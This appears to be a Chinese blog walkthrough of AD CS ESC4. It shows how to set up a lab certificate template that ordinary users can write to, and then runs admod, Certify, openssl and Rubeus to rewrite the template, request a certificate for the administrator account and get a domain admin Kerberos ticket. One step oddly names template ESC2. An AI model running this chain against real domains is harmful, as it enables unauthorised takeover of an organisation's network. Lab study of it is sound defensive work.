ADCS-ESC4漏洞环境构造与利用

原理

在AD中,证书模板属于安全对象,由安全描述符规定AD主体对其的访问权限。若模板赋予非特权AD主机编辑权限,就存在安全风险。当攻击者获得模板对象的writeProperty权限,就能修改模板的AD对象属性,比如在mspki-certificate-name-flag属性里启用CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT标志,从而引发与ESC1类似的攻击风险。

漏洞利用条件

证书权限:Authenticated Users具备注册、写入证书的权限。

漏洞环境构造

配置证书模板

在ADCS服务器中运行中输入certtmpl.msc打开证书模板控制台,右键复制工作站身份验证

常规

模板名称设置为ESC4

安全

将Authenticated Users加入注册权限

使用者名称

选择在请求中提供,开启CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

扩展

选择应用程序策略,将策略设置为客户端身份验证

发布证书模板

打开certsrv.msc

在证书颁发机构中的证书模板右键点击新建要颁发的证书模板,选择新复制的模板ESC2确定添加

漏洞环境检测

使用Certify检测有没有证书配置错误

Certify.exe find /vulnerable

当普通用户具备对证书模板写入的条件,可利用证书漏洞伪装成域管理员获取更高权限。

漏洞利用

使用admod修改mspki-certificate-name-flag

admod.exe -b "CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lutra,DC=com" "msPKI-Certificate-Name-Flag::1"

再次使用Certify检测,发现已经具备ESC1利用条件

再次回到证书服务器,查看ESC4证书模板,发现使用者名称已经被改为在请求中提供

在普通域用户下,使用Certify.exe以administrator身份申请ESC4证书

Certify.exe request /ca:adcs.lutra.com\lutra-ADCS-CA /template:ESC4 /altname:administrator

将申请的证书复制保存为cert.pem,使用openssl转为cert.pfx,密码为空即可

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

使用Rubeus请求域管administrator的TGT

Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.110.127 /ptt

将域控制器身份验证注册后再次执行,成功导入票据

导入票据后,已经有权限访问域控目录

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值